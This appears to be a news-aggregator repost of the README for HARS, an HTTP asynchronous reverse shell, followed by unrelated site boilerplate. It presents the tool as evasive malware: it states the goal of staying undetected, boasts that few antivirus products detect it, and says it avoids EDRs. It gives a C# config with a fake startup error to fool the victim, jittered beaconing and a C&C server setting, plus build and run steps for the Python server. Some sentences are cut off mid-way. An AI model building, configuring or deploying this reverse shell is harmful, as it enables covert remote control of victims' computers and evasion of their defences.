I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.
Features
process to avoid triggering EDRs.
AV Detection
Only 3 out of 69 products were able to detect the client as malicious, without applying any evasive or
Demonstration
Client : C Sharp
- Open HARS.sln in Visual Studio
This file contains parameters ; Assign the values you want :
class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://12 7.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10.
For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.
Build
Build the project from Visual Studio. The client should be generated in
Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release folder.Done!
Server : Python
HARS_Server.py Location :
Http Asynchronous Reverse Shell\HARS_Server\wwwSimply change the port or location on the certificate if needed in the config section.
# Config
PORT = 443
CERT_FILE = '../server.pem'Run
python HARS_Server.pyNotes
-HTTP Logs are located in
Http Asynchronous Reverse Shell\HARS_Server\logs\-You can add your own templates (any html page) in
Http Asynchronous Reverse Shell\HARS_Server\templatesCommunity-Analysen & Experten-Meinungen 0
Verwandte Story-Cluster & Quellen (Vektor-KI)
Ähnliche Beiträge
Auch interessante Nachrichten HTTP Asynchronous Reverse Shell - Asynchronous Reverse Shell Using The HTTP Protocol
Thematisch verwandte Begriffe: HTTP, Asynchronous, Reverse, Shell · 6 Treffer
Apple accuses OpenAI of destroying evidence as trade-secrets fight intensifies
GPT-6 Astra Release Today? OpenAI’s Next Major AI Model Is Almost Here
Videos werden geladen ...
Beiträge werden geladen ...
Videos werden geladen ...
Beiträge werden geladen ...
Videos werden geladen ...
Beiträge werden geladen ...
Videos werden geladen ...
Beiträge werden geladen ...
Videos werden geladen ...
SOCIAL SHARE CARD GENERATOR